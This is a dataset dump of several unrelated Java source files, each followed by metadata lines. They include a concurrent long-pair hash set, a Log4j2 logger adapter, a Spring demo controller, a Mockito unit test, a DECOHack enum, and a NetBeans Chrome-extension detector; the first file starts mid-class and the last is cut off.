(storedItem1 == EmptyItem) { // Found an empty bucket. This means the key is not in the set. If we've already seen a deleted // key, we should write at that position if (firstDeletedItem != -1) { bucket = firstDeletedItem; } else { ++usedBuckets; } table[bucket] = item1; table[bucket + 1] = item2; ++size; return true; } else if (storedItem1 == DeletedItem) { // The bucket contained a different deleted key if (firstDeletedItem == -1) { firstDeletedItem = bucket; } } bucket = (bucket + 2) & (table.length - 1); } } finally { if (usedBuckets > resizeThreshold) { try { rehash(); } finally { unlockWrite(stamp); } } else { unlockWrite(stamp); } } } private boolean remove(long item1, long item2, int hash) { long stamp = writeLock(); int bucket = signSafeMod(hash, capacity); try { while (true) { long storedItem1 = table[bucket]; long storedItem2 = table[bucket + 1]; if (item1 == storedItem1 && item2 == storedItem2) { --size; cleanBucket(bucket); return true; } else if (storedItem1 == EmptyItem) { return false; } bucket = (bucket + 2) & (table.length - 1); } } finally { unlockWrite(stamp); } } private int removeIf(LongPairPredicate filter) { Objects.requireNonNull(filter); int removedItems = 0; // Go through all the buckets for this section for (int bucket = 0; bucket < table.length; bucket += 2) { long storedItem1 = table[bucket]; long storedItem2 = table[bucket + 1]; if (storedItem1 != DeletedItem && storedItem1 != EmptyItem) { if (filter.test(storedItem1, storedItem2)) { long h = hash(storedItem1, storedItem2); if (remove(storedItem1, storedItem2, (int) h)) { removedItems++; } } } } return removedItems; } private void cleanBucket(int bucket) { int nextInArray = (bucket + 2) & (table.length - 1); if (table[nextInArray] == EmptyItem) { table[bucket] = EmptyItem; table[bucket + 1] = EmptyItem; --usedBuckets; } else { table[bucket] = DeletedItem; table[bucket + 1] = DeletedItem; } } void clear() { long stamp = writeLock(); try { Arrays.fill(table, EmptyItem); this.size = 0; this.usedBuckets = 0; } finally { unlockWrite(stamp); } } public void forEach(LongPairConsumer processor) { long stamp = tryOptimisticRead(); long[] table = this.table; boolean acquiredReadLock = false; try { // Validate no rehashing if (!validate(stamp)) { // Fallback to read lock stamp = readLock(); acquiredReadLock = true; table = this.table; } // Go through all the buckets for this section for (int bucket = 0; bucket < table.length; bucket += 2) { long storedItem1 = table[bucket]; long storedItem2 = table[bucket + 1]; if (!acquiredReadLock && !validate(stamp)) { // Fallback to acquiring read lock stamp = readLock(); acquiredReadLock = true; storedItem1 = table[bucket]; storedItem2 = table[bucket + 1]; } if (storedItem1 != DeletedItem && storedItem1 != EmptyItem) { processor.accept(storedItem1, storedItem2); } } } finally { if (acquiredReadLock) { unlockRead(stamp); } } } private void rehash() { // Expand the hashmap int newCapacity = capacity * 2; long[] newTable = new long[2 * newCapacity]; Arrays.fill(newTable, EmptyItem); // Re-hash table for (int i = 0; i < table.length; i += 2) { long storedItem1 = table[i]; long storedItem2 = table[i + 1]; if (storedItem1 != EmptyItem && storedItem1 != DeletedItem) { insertKeyValueNoLock(newTable, newCapacity, storedItem1, storedItem2); } } table = newTable; usedBuckets = size; // Capacity needs to be updated after the values, so that we won't see // a capacity value bigger than the actual array size capacity = newCapacity; resizeThreshold = (int) (capacity * SetFillFactor); } private static void insertKeyValueNoLock(long[] table, int capacity, long item1, long item2) { int bucket = signSafeMod(hash(item1, item2), capacity); while (true) { long storedKey = table[bucket]; if (storedKey == EmptyItem) { // The bucket is empty, so we can use it table[bucket] = item1; table[bucket + 1] = item2; return; } bucket = (bucket + 2) & (table.length - 1); } } } private static final long HashMixer = 0xc6a4a7935bd1e995L; private static final int R = 47; final static long hash(long key1, long key2) { long hash = key1 * HashMixer; hash ^= hash >>> R; hash *= HashMixer; hash += 31 + (key2 * HashMixer); hash ^= hash >>> R; hash *= HashMixer; return hash; } static final int signSafeMod(long n, int max) { return (int) (n & (max - 1)) << 1; } private static int alignToPowerOfTwo(int n) { return (int) Math.pow(2, 32 - Integer.numberOfLeadingZeros(n - 1)); } private static void checkBiggerEqualZero(long n) { if (n < 0L) { throw new IllegalArgumentException("Keys and values must be >= 0"); } } /** * Class representing two long values. */ public static class LongPair implements Comparable<LongPair> { public final long first; public final long second; public LongPair(long first, long second) { this.first = first; this.second = second; } @Override public boolean equals(Object obj) { if (obj instanceof LongPair) { LongPair other = (LongPair) obj; return first == other.first && second == other.second; } return false; } @Override public int hashCode() { return (int) hash(first, second); } @Override public int compareTo(LongPair o) { if (first != o.first) { return Long.compare(first, o.first); } else { return Long.compare(second, o.second); } } } @Override public String toString() { StringBuilder sb = new StringBuilder(); sb.append('{'); final AtomicBoolean first = new AtomicBoolean(true); forEach((item1, item2) -> { if (!first.getAndSet(false)) { sb.append(", "); } sb.append('['); sb.append(item1); sb.append(':'); sb.append(item2); sb.append(']'); }); sb.append('}'); return sb.toString(); } }
32.507993
119
0.505027
dc92065cd6191ae40972c6e3057fb7c71d31b646
4,429
/* * Copyright Lealone Database Group. * Licensed under the Server Side Public License, v 1. * Initial Developer: zhh */ package org.lealone.common.logging.impl; import org.apache.logging.log4j.Level; import org.apache.logging.log4j.message.FormattedMessage; import org.apache.logging.log4j.message.Message; import org.apache.logging.log4j.spi.ExtendedLogger; import org.lealone.common.logging.Logger; class Log4j2Logger implements Logger { private final static String FQCN = Logger.class.getCanonicalName(); private final ExtendedLogger logger; Log4j2Logger(String name) { logger = (ExtendedLogger) org.apache.logging.log4j.LogManager.getLogger(name); } @Override public boolean isWarnEnabled() { return logger.isWarnEnabled(); } @Override public boolean isInfoEnabled() { return logger.isInfoEnabled(); } @Override public boolean isDebugEnabled() { return logger.isDebugEnabled(); } @Override public boolean isTraceEnabled() { return logger.isTraceEnabled(); } @Override public void fatal(Object message) { log(Level.FATAL, message); } @Override public void fatal(Object message, Throwable t) { log(Level.FATAL, message, t); } @Override public void error(Object message) { log(Level.ERROR, message); } @Override public void error(Object message, Object... params) { log(Level.ERROR, message.toString(), params); } @Override public void error(Object message, Throwable t) { log(Level.ERROR, message, t); } @Override public void error(Object message, Throwable t, Object... params) { log(Level.ERROR, message.toString(), t, params); } @Override public void warn(Object message) { log(Level.WARN, message); } @Override public void warn(Object message, Object... params) { log(Level.WARN, message.toString(), params); } @Override public void warn(Object message, Throwable t) { log(Level.WARN, message, t); } @Override public void warn(Object message, Throwable t, Object... params) { log(Level.WARN, message.toString(), t, params); } @Override public void info(Object message) { log(Level.INFO, message); } @Override public void info(Object message, Object... params) { log(Level.INFO, message.toString(), params); } @Override public void info(Object message, Throwable t) { log(Level.INFO, message, t); } @Override public void info(Object message, Throwable t, Object... params) { log(Level.INFO, message.toString(), t, params); } @Override public void debug(Object message) { log(Level.DEBUG, message); } @Override public void debug(Object message, Object... params) { log(Level.DEBUG, message.toString(), params); } @Override public void debug(Object message, Throwable t) { log(Level.DEBUG, message, t); } @Override public void debug(Object message, Throwable t, Object... params) { log(Level.DEBUG, message.toString(), t, params); } @Override public void trace(Object message) { log(Level.TRACE, message); } @Override public void trace(Object message, Object... params) { log(Level.TRACE, message.toString(), params); } @Override public void trace(Object message, Throwable t) { log(Level.TRACE, message.toString(), t); } @Override public void trace(Object message, Throwable t, Object... params) { log(Level.TRACE, message.toString(), t, params); } private void log(Level level, Object message) { log(level, message, null); } private void log(Level level, Object message, Throwable t) { if (message instanceof Message) { logger.logIfEnabled(FQCN, level, null, (Message) message, t); } else { logger.logIfEnabled(FQCN, level, null, message, t); } } private void log(Level level, String message, Object... params) { logger.logIfEnabled(FQCN, level, null, message, params); } private void log(Level level, String message, Throwable t, Object... params) { logger.logIfEnabled(FQCN, level, null, new FormattedMessage(message, params), t); } }
25.601156
89
0.634455
01577b5c957e3b6d7cbfe0632b20a3e5d0968875
4,948
package com.beinet.firstpg.controller; import com.beinet.firstpg.configs.ConfigReader; import com.beinet.firstpg.mysql.JpaDemo; import com.beinet.firstpg.mysql.entity.Users; import io.swagger.annotations.*; import lombok.Data; import org.apache.commons.io.IOUtils; import org.apache.commons.lang3.StringUtils; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.http.HttpHeaders; import org.springframework.http.HttpStatus; import org.springframework.http.ResponseEntity; import org.springframework.web.bind.annotation.*; import org.springframework.web.multipart.MultipartFile; import javax.servlet.http.Cookie; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.FileOutputStream; import java.io.IOException; import java.io.InputStream; import java.time.LocalDateTime; import java.util.Enumeration; import java.util.List; @RestController @RequestMapping("") @Api(description = "主控制器") public class MainController { // <editor-fold desc="常规api接口"> /** * http://localhost:8081/?id=123 */ @GetMapping("/") @ApiOperation(value = "主Action", notes = "返回当前时间") public String Index(@RequestParam(required = false) Integer id, @RequestParam(required = false) String para) { String name = ConfigReader.getConfig("Site.Name"); return name + " " + LocalDateTime.now().toString() + " " + id + " " + para; } /** * curl -X POST "http://localhost:8081/?id=123&para=asdfslsjda" */ @PostMapping("/") public ResultTest PostTest(@RequestParam(required = false) Integer id, @RequestParam(required = false) String para) { ResultTest ret = new ResultTest(); ret.setId((id != null && id > 0) ? id : -789); ret.setName(StringUtils.isEmpty(para) ? "empty" : para); return ret; } /** * 测试异常的命令: * curl -X POST "http://localhost:8081/body" --data "{\"id\":-789}" -H "Content-Type: application/json" */ @PostMapping("/body") public ResultTest PostTest(@RequestBody ResultTest dto) { if (dto.getId() < 0) { dto.getName().toString();// 测试异常 } dto.setName(dto.getName() + "-" + LocalDateTime.now()); return dto; } @Data public static class ResultTest { private int id; private String name; } // </editor-fold> // <editor-fold desc="请求Header和响应Header操作Demo"> /** * 演示往输出里添加Header,cookie加起来麻烦。 * * @return */ @GetMapping("header") public ResponseEntity TestHeader() { HttpHeaders headers = new HttpHeaders(); // 下面2种方式都可以写入Header的 Location headers.add("Location", "http://www.baidu.com/"); // headers.setLocation(URI.create("Http://www.beinet.cn/")); // 添加自定义Header headers.add("abcde", LocalDateTime.now().toString()); headers.add("Set-Cookie", "def1=2dd325; Max-Age=12; Expires=Fri, 27-May-2019 09:10:54 GMT; HttpOnly"); headers.add("Set-Cookie", "abc1=2325"); ResponseEntity ret = new ResponseEntity("234", headers, HttpStatus.OK); return ret; } /** * 演示往输出里添加Header的另一种方法 * * @return */ @GetMapping("header2") public String TestHeader2(HttpServletResponse response) { response.addCookie(new Cookie("abc", "2325")); Cookie cook = new Cookie("def", "2dd325"); cook.setHttpOnly(true); cook.setMaxAge(3600); // 单位秒 cook.setComment("dfsdf"); response.addCookie(cook); response.addHeader("dsaasd", LocalDateTime.now().toString()); return "header222"; } /** * 演示读取请求信息 * * @return */ @GetMapping("request") public ResponseEntity TestRequest(HttpServletRequest request) { // String ua = request.getHeader("user-agENT"); // key不区分大小写 StringBuilder sb = new StringBuilder(); // 获取所有请求Header Enumeration<String> headers = request.getHeaderNames(); while (headers.hasMoreElements()) { String name = headers.nextElement(); sb.append(name).append("===").append(request.getHeader(name)).append("<br>"); } sb.append("<hr>"); sb.append(request.getRequestURI()).append("<br>").append(request.getQueryString()).append("<br>"); sb.append(request.getRemoteAddr()); ResponseEntity ret = new ResponseEntity(sb, null, HttpStatus.OK); return ret; } // </editor-fold> // <editor-fold desc="文件上传Demo"> @PostMapping("upload") public String upload(@RequestParam("file") MultipartFile file) throws IOException { try (FileOutputStream fos = new FileOutputStream("d:/tmp.tmp")) { try (InputStream is = file.getInputStream()) { IOUtils.copy(is, fos); } } return file.getOriginalFilename() + "上传成功"; } // </editor-fold> }
31.119497
121
0.634196
5d92ad0155602bf907440c7b58d26721f1b6780c
4,429
package org.wms.controller.order; import static org.junit.Assert.*; import static org.mockito.Mockito.*; import java.util.ArrayList; import java.util.Date; import java.util.List; import org.junit.BeforeClass; import org.junit.Test; import org.wms.model.material.Material; import org.wms.model.order.Order; import org.wms.model.order.OrderRow; import org.wms.model.order.OrderStatus; import org.wms.model.order.OrderType; import org.wms.model.order.Orders; import org.wms.model.order.Priority; /** * Test order rows table model class * * @author Stefano Pessina, Daniele Ciriello * */ public class OrderRowsTableModelUnitTest { private static Order mockOrder; private static OrderRow mockOrderRow; private static Material mockMaterial; @BeforeClass public static void setUpBeforeClass() throws Exception { mockOrder = mock(Order.class); mockOrderRow = mock(OrderRow.class); mockMaterial = mock(Material.class); doReturn(100l).when(mockMaterial).getCode(); doReturn(mockMaterial).when(mockOrderRow).getMaterial(); doReturn(200).when(mockOrderRow).getQuantity(); doReturn(true).when(mockOrderRow).isAllocated(); doReturn(true).when(mockOrderRow).isCompleted(); List<OrderRow> orderRows = new ArrayList<>(); orderRows.add(mockOrderRow); doReturn(orderRows).when(mockOrder).getUnmodificableMaterials(); } /** * Test initialization should be correct */ @Test public void testOrderRowsTableModel() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertTrue(tableModel.order.equals(mockOrder)); } /** * Test row count should be 1 */ @Test public void testGetRowCount() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertTrue(tableModel.getRowCount()==1); } /** * Test column count should be 4 */ @Test public void testGetColumnCount() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertTrue(tableModel.getColumnCount()==4); } /** * Test count name should be the same as the * headers array definition */ @Test public void testGetColumnNameInt() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertTrue(tableModel.getColumnName(0).compareTo(tableModel.headers[0])==0); assertTrue(tableModel.getColumnName(1).compareTo(tableModel.headers[1])==0); assertTrue(tableModel.getColumnName(2).compareTo(tableModel.headers[2])==0); assertTrue(tableModel.getColumnName(3).compareTo(tableModel.headers[3])==0); } /** * The value provided should be the data * stored in the test order row */ @Test public void testNoCacheGetValueAt() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertTrue(((long) tableModel.getValueAt(0, 0))==mockOrderRow.getMaterial().getCode()); assertTrue(((int) tableModel.getValueAt(0, 1))==mockOrderRow.getQuantity()); assertTrue(((boolean) tableModel.getValueAt(0, 2))==mockOrderRow.isAllocated()); assertTrue(((boolean) tableModel.getValueAt(0, 3))==mockOrderRow.isCompleted()); } /** * Test invalid get column index */ @Test public void testInvalidIndexGetValueAt() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertTrue(((String) tableModel.getValueAt(0, tableModel.getColumnCount()+1)) .compareTo("Unknow column: " + (tableModel.getColumnCount()+1))==0); } /** * Test table cell should be not editable * because column index >2 */ @Test public void testIsCellEditableFalse() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); assertFalse(tableModel.isCellEditable(0, 2)); assertFalse(tableModel.isCellEditable(0, 3)); } /** * Test table cell should be not editable * because column index <2 but * order row isn't editable */ @Test public void testIsCellEditableOrderRowNotEditable() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); doReturn(false).when(mockOrderRow).isEditable(); assertFalse(tableModel.isCellEditable(0, 0)); assertFalse(tableModel.isCellEditable(0, 1)); } /** * Test table cell should be editable */ @Test public void testIsCellEditable() { OrderRowsTableModel tableModel = new OrderRowsTableModel(mockOrder); doReturn(true).when(mockOrderRow).isEditable(); assertTrue(tableModel.isCellEditable(0, 0)); assertTrue(tableModel.isCellEditable(0, 1)); } }
27.006098
89
0.741025
097ef11693fea960025252d0215b981a81711b1e
394
package com.dragontalker; public class BinaryTest { public static void main(String[] args) { int num1 = 0b110; int num2 = 110; int num3 = 0127; int num4 = 0x110A; System.out.println("num1 = " + num1); System.out.println("num2 = " + num2); System.out.println("num3 = " + num3); System.out.println("num4 = " + num4); } }
23.176471
45
0.545685
88692eb7382cb34d8c42c2ded428bde10d290371
2,008
package br.com.centralit.citcorpore.bean; import br.com.citframework.dto.IDto; public class AcordoNivelServicoContratoDTO implements IDto { private Integer idAcordoNivelServicoContrato; private Integer idContrato; private String descricaoAcordo; private String detalhamentoAcordo; private Double valorLimite; private String unidadeValorLimite; private java.sql.Date dataInicio; private java.sql.Date dataFim; private String descricaoGlosa; private Integer idFormula; public Integer getIdAcordoNivelServicoContrato(){ return this.idAcordoNivelServicoContrato; } public void setIdAcordoNivelServicoContrato(Integer parm){ this.idAcordoNivelServicoContrato = parm; } public Integer getIdContrato(){ return this.idContrato; } public void setIdContrato(Integer parm){ this.idContrato = parm; } public String getDescricaoAcordo(){ return this.descricaoAcordo; } public void setDescricaoAcordo(String parm){ this.descricaoAcordo = parm; } public String getDetalhamentoAcordo(){ return this.detalhamentoAcordo; } public void setDetalhamentoAcordo(String parm){ this.detalhamentoAcordo = parm; } public Double getValorLimite(){ return this.valorLimite; } public void setValorLimite(Double parm){ this.valorLimite = parm; } public String getUnidadeValorLimite(){ return this.unidadeValorLimite; } public void setUnidadeValorLimite(String parm){ this.unidadeValorLimite = parm; } public java.sql.Date getDataInicio(){ return this.dataInicio; } public void setDataInicio(java.sql.Date parm){ this.dataInicio = parm; } public java.sql.Date getDataFim(){ return this.dataFim; } public void setDataFim(java.sql.Date parm){ this.dataFim = parm; } public String getDescricaoGlosa(){ return this.descricaoGlosa; } public void setDescricaoGlosa(String parm){ this.descricaoGlosa = parm; } public Integer getIdFormula() { return idFormula; } public void setIdFormula(Integer idFormula) { this.idFormula = idFormula; } }
23.08046
60
0.773904
9c04ffb46930b26c6e91bf346233c657fdd59a08
2,268
/******************************************************************************* * Copyright (c) 2020-2021 Matt Tropiano & Xaser Acheron * This program and the accompanying materials are made available under * the terms of the MIT License, which accompanies this distribution. ******************************************************************************/ package net.mtrop.doom.tools.decohack.data.enums; import java.util.Map; import net.mtrop.doom.tools.struct.util.EnumUtils; /** * Enumeration of action pointer parameter types. * @author Xaser Acheron * @author Matthew Tropiano */ public enum DEHActionPointerParamType { BOOL (Type.INTEGER, 0, 1), UBYTE (Type.INTEGER, 0, 255), BYTE (Type.INTEGER, -128, 127), SHORT (Type.INTEGER, -32768, 32767), USHORT (Type.INTEGER, 0, 65535), INT (Type.INTEGER, Integer.MIN_VALUE, Integer.MAX_VALUE), UINT (Type.INTEGER, 0, Integer.MAX_VALUE), ANGLEINT (Type.INTEGER, -359, 359), ANGLEUINT (Type.INTEGER, 0, 359), ANGLEFIXED (Type.FIXED, (-360 << 16) + 1, (360 << 16) - 1), FIXED (Type.FIXED, Integer.MIN_VALUE, Integer.MAX_VALUE), STATE (Type.STATE, 0, Integer.MAX_VALUE), THING (Type.THING, 0, Integer.MAX_VALUE), WEAPON (Type.WEAPON, 0, Integer.MAX_VALUE), SOUND (Type.SOUND, 0, Integer.MAX_VALUE), FLAGS (Type.FLAGS, Integer.MIN_VALUE, Integer.MAX_VALUE), ; public enum Type { INTEGER, FIXED, FLAGS, STATE, THING, WEAPON, SOUND } private Type typeCheck; private int valueMin; private int valueMax; private static final Map<String, DEHActionPointerParamType> NAME_MAP = EnumUtils.createCaseInsensitiveNameMap(DEHActionPointerParamType.class); public static DEHActionPointerParamType getByName(String mnemonic) { return NAME_MAP.get(mnemonic); } private DEHActionPointerParamType(Type typeCheck, int valueMin, int valueMax) { this.typeCheck = typeCheck; this.valueMin = valueMin; this.valueMax = valueMax; } public Type getTypeCheck() { return typeCheck; } public int getValueMin() { return valueMin; } public int getValueMax() { return valueMax; } public boolean isValueValid(int value) { return value >= valueMin && value <= valueMax; } }
26.372093
144
0.64903
e361782b62fc6e3f9fba5502f0eae4280b4af3bb
27,849
/* * Licensed to the Apache Software Foundation (ASF) under one * or more contributor license agreements. See the NOTICE file * distributed with this work for additional information * regarding copyright ownership. The ASF licenses this file * to you under the Apache License, Version 2.0 (the * "License"); you may not use this file except in compliance * with the License. You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, * software distributed under the License is distributed on an * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY * KIND, either express or implied. See the License for the * specific language governing permissions and limitations * under the License. */ package org.netbeans.modules.extbrowser.plugins.chrome; import java.awt.Dialog; import java.io.File; import java.io.FileFilter; import java.io.IOException; import java.net.MalformedURLException; import java.net.URI; import java.net.URL; import java.util.ArrayList; import java.util.Arrays; import java.util.Locale; import java.util.Map; import java.util.logging.Level; import java.util.logging.Logger; import javax.swing.JButton; import org.json.simple.JSONObject; import org.netbeans.modules.extbrowser.plugins.ExtensionManager; import org.netbeans.modules.extbrowser.plugins.ExtensionManager.ExtensitionStatus; import org.netbeans.modules.extbrowser.plugins.ExtensionManagerAccessor; import org.netbeans.modules.extbrowser.plugins.ExternalBrowserPlugin; import org.netbeans.modules.extbrowser.plugins.Message; import org.netbeans.modules.extbrowser.plugins.Message.MessageType; import org.netbeans.modules.extbrowser.plugins.MessageListener; import org.netbeans.modules.extbrowser.plugins.Utils; import org.netbeans.modules.web.browser.api.BrowserFamilyId; import org.netbeans.modules.web.browser.api.WebBrowser; import org.netbeans.modules.web.browser.api.WebBrowsers; import org.openide.DialogDescriptor; import org.openide.DialogDisplayer; import org.openide.NotifyDescriptor; import org.openide.awt.HtmlBrowser; import org.openide.modules.InstalledFileLocator; import org.openide.util.NbBundle; import org.openide.util.Utilities; /** * @author ads * */ public class ChromeManagerAccessor implements ExtensionManagerAccessor { static final Logger LOGGER = Logger.getLogger(ChromeManagerAccessor.class.getName()); private static final String NO_WEB_STORE_SWITCH= "netbeans.extbrowser.manual_chrome_plugin_install"; // NOI18N private static final String PLUGIN_PAGE= "https://chrome.google.com/webstore/detail/netbeans-connector/hafdlehgocfcodbgjnpecfajgkeejnaa"; //NOI18N /* (non-Javadoc) * @see org.netbeans.modules.web.plugins.ExtensionManagerAccessor#getManager() */ @Override public BrowserExtensionManager getManager() { return new ChromeExtensionManager(); } static class ChromeExtensionManager extends AbstractBrowserExtensionManager { private static final String VERSION = "\"version\":"; // NOI18N private static final String PLUGIN_PUBLIC_KEY = "MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDgo89CrO8f/2srD2BGUP9+dG4I" + "kTC2D3gzEjXITaMaQgy8B4ObVpkA3bc27qc7HB9jhVj8P51aAETr89u+AvFgCeFt" + "vtva0h0oodKRC3dCkQLnEWPGi7mEKB98cRhZmQ1Wa9A9tg3plKsujwwWskaFEL/h" + "O7uu7myF0qLIeuiG6wIDAQAB";// NOI18N private static final String EXTENSION_PATH = "modules/lib/netbeans-chrome-connector.crx"; // NOI18N @Override public BrowserFamilyId getBrowserFamilyId() { return BrowserFamilyId.CHROME; } /* (non-Javadoc) * @see org.netbeans.modules.web.plugins.ExtensionManagerAccessor.BrowserExtensionManager#isInstalled() */ @Override public ExtensionManager.ExtensitionStatus isInstalled() { // Allows to skip the detection of Chrome extension String status = System.getProperty("netbeans.chrome.connector.status"); // NOI18N if (status != null) { try { return ExtensionManager.ExtensitionStatus.valueOf(status); } catch (IllegalArgumentException iaex) { LOGGER.log(Level.INFO, iaex.getMessage(), iaex); } } while (true) { ExtensionManager.ExtensitionStatus result = isInstalledImpl(); if (result == ExtensionManager.ExtensitionStatus.DISABLED) { NotifyDescriptor descriptor = new NotifyDescriptor.Message( NbBundle.getMessage(ChromeExtensionManager.class, "LBL_ChromePluginIsDisabled"), // NOI18N NotifyDescriptor.ERROR_MESSAGE); descriptor.setTitle(NbBundle.getMessage(ChromeExtensionManager.class, "TTL_ChromePluginIsDisabled")); // NOI18N if (DialogDisplayer.getDefault().notify(descriptor) != DialogDescriptor.OK_OPTION) { return result; } continue; } return result; } } private ExtensionManager.ExtensitionStatus isInstalledImpl() { JSONObject preferences = findPreferences(); LOGGER.log(Level.FINE, "Chrome preferences: {0}", preferences); if (preferences == null) { return ExtensionManager.ExtensitionStatus.MISSING; } LOGGER.log(Level.FINE, "Chrome preferences -> extensions: {0}", preferences.get("extensions")); JSONObject extensions = (JSONObject)preferences.get("extensions"); if (extensions == null) { return ExtensionManager.ExtensitionStatus.MISSING; } LOGGER.log(Level.FINE, "Chrome preferences -> extensions -> settings: {0}", extensions.get("settings")); JSONObject settings = (JSONObject)extensions.get("settings"); if (settings == null) { return ExtensionManager.ExtensitionStatus.MISSING; } for (Object item : settings.entrySet()) { Map.Entry e = (Map.Entry)item; Object value = e.getValue(); LOGGER.log(Level.FINE, "Chrome preferences - extensions -> settings -> value/extension: {0}", value); // #251250 if (value instanceof JSONObject) { JSONObject extension = (JSONObject) value; String path = (String)extension.get("path"); if (path != null && (path.contains("/extbrowser.chrome/plugins/chrome") || path.contains("\\extbrowser.chrome\\plugins\\chrome"))) { return ExtensionManager.ExtensitionStatus.INSTALLED; } LOGGER.log(Level.FINE, "Chrome preferences - extensions -> settings -> value/extension -> manifest: {0}", extension.get("manifest")); JSONObject manifest = (JSONObject)extension.get("manifest"); if (manifest != null && PLUGIN_PUBLIC_KEY.equals((String)manifest.get("key"))) { String version = (String)manifest.get("version"); if (isUpdateRequired( version )){ return ExtensionManager.ExtensitionStatus.NEEDS_UPGRADE; } Number n = (Number)extension.get("state"); if (n != null && n.intValue() != 1) { return ExtensionManager.ExtensitionStatus.DISABLED; } return ExtensionManager.ExtensitionStatus.INSTALLED; } } } return ExtensionManager.ExtensitionStatus.MISSING; } private JSONObject findPreferences() { File defaultProfile = getDefaultProfile(); LOGGER.log(Level.FINE, "Chrome default profile: {0}", defaultProfile); if (defaultProfile == null) { return null; } String[] prefFiles = new String[]{"secure preferences", "protected preferences", "preferences"}; // NOI18N for (String prefFile : prefFiles) { File[] prefs = defaultProfile.listFiles(new FileFinder(prefFile)); if (prefs != null && prefs.length > 0) { JSONObject preferences = Utils.readFile(prefs[0]); if (preferences != null && preferences.get("extensions") != null) { // NOI18N LOGGER.log(Level.FINE, "Chrome preferences file: {0}", prefs[0]); return preferences; } } } return null; } @Override public boolean install( ExtensionManager.ExtensitionStatus currentStatus ) { File extensionFile = InstalledFileLocator.getDefault().locate( EXTENSION_PATH,PLUGIN_MODULE_NAME, false); if ( extensionFile == null ){ Logger.getLogger(ChromeExtensionManager.class.getCanonicalName()). severe("Could not find chrome extension in installation directory"); // NOI18N return false; } String useManualInstallation = System .getProperty(NO_WEB_STORE_SWITCH); if (useManualInstallation != null) { return manualInstallPluginDialog(currentStatus, extensionFile); } else { return alertGoogleWebStore(currentStatus); } /* NotifyDescriptor installDesc = new NotifyDescriptor.Confirmation( NbBundle.getMessage(ChromeExtensionManager.class, currentStatus == ExtensionManager.ExtensitionStatus.MISSING ? "LBL_InstallMsg" : "LBL_UpgradeMsg"), // NOI18N NbBundle.getMessage(ChromeExtensionManager.class, "TTL_InstallExtension"), // NOI18N NotifyDescriptor.OK_CANCEL_OPTION, NotifyDescriptor.QUESTION_MESSAGE); Object result = DialogDisplayer.getDefault().notify(installDesc); if (result != NotifyDescriptor.OK_OPTION) { return false; } try { loader.requestPluginLoad( new URL("file:///"+extensionFile.getCanonicalPath())); } catch( IOException e ){ Logger.getLogger( ChromeExtensionManager.class.getCanonicalName()). log(Level.INFO , null ,e ); return false; } return true;*/ } @Override protected String getCurrentPluginVersion(){ File extensionFile = InstalledFileLocator.getDefault().locate( EXTENSION_PATH,PLUGIN_MODULE_NAME, false); if (extensionFile == null) { Logger.getLogger(ChromeExtensionManager.class.getCanonicalName()). info("Could not find chrome extension in installation directory!"); // NOI18N return null; } String content = Utils.readZip( extensionFile, "manifest.json"); // NOI18N int index = content.indexOf(VERSION); if ( index == -1){ return null; } index = content.indexOf(',',index); return getValue(content, 0, index , VERSION); } private String getValue(String content, int start , int end , String key){ String part = content.substring( start , end ); int index = part.indexOf(key); if ( index == -1 ){ return null; } String value = part.substring( index +key.length() ).trim(); return Utils.unquote(value); } private File getDefaultProfile() { String[] userData = getUserData(); LOGGER.log(Level.FINE, "Chrome user data: {0}", Arrays.toString(userData)); if ( userData != null ){ for (String dataDir : userData) { File dir = new File(dataDir); if (dir.isDirectory() && dir.exists()) { File[] localState = dir.listFiles( new FileFinder("local state")); // NOI18N boolean guessDefault = localState == null || localState.length == 0; if ( !guessDefault ) { JSONObject localStateContent = Utils.readFile( localState[0]); if (localStateContent != null) { JSONObject profile = (JSONObject)localStateContent.get("profile"); if (profile != null) { String prof = (String)profile.get("last_used"); if (prof == null) { guessDefault = true; } else { prof = Utils.unquote(prof); File[] listFiles = dir.listFiles( new FileFinder( prof , true)); if ( listFiles != null && listFiles.length >0 ){ return listFiles[0]; } else { guessDefault = true; } } } } } if( guessDefault ) { File[] listFiles = dir.listFiles( new FileFinder("default")); // NOI18N if ( listFiles!= null && listFiles.length >0 ) { return listFiles[0]; } } } } } return null; } protected String[] getUserData(){ // see http://www.chromium.org/user-experience/user-data-directory // TODO - this will not work for Chromium on Windows and Mac if (Utilities.isWindows()) { ArrayList<String> result = new ArrayList<String>(); String localAppData = System.getenv("LOCALAPPDATA"); // NOI18N if (localAppData != null) { result.add(localAppData+"\\Google\\Chrome\\User Data"); } else { localAppData = Utils.getLOCALAPPDATAonWinXP(); if (localAppData != null) { result.add(localAppData+"\\Google\\Chrome\\User Data"); } } String appData = System.getenv("APPDATA"); // NOI18N if (appData != null) { // we are in C:\Documents and Settings\<username>\Application Data\ on XP File f = new File(appData); if (f.exists()) { String fName = f.getName(); // #219824 - below code will not work on some localized WinXP where // "Local Settings" name might be "Lokale Einstellungen"; // no harm if we try though: f = new File(f.getParentFile(),"Local Settings"); f = new File(f, fName); if (f.exists()) { result.add(f.getPath()+"\\Google\\Chrome\\User Data"); } } } return result.toArray(new String[result.size()]); } else if (Utilities.isMac()) { return Utils.getUserPaths("/Library/Application Support/Google/Chrome");// NOI18N } else { return Utils.getUserPaths("/.config/google-chrome", "/.config/chrome");// NOI18N } } private boolean manualInstallPluginDialog( ExtensionManager.ExtensitionStatus currentStatus, File extensionFile ) { String path; try { path = extensionFile.getCanonicalPath(); } catch( IOException e ){ Logger.getLogger( ChromeExtensionManager.class.getCanonicalName()). log(Level.INFO , null ,e ); return false; } JButton continueButton = new JButton(NbBundle.getMessage( ChromeExtensionManager.class, currentStatus == ExtensionManager.ExtensitionStatus.NEEDS_UPGRADE ? "LBL_ContinueUpdate" : "LBL_Continue")); // NOI18N 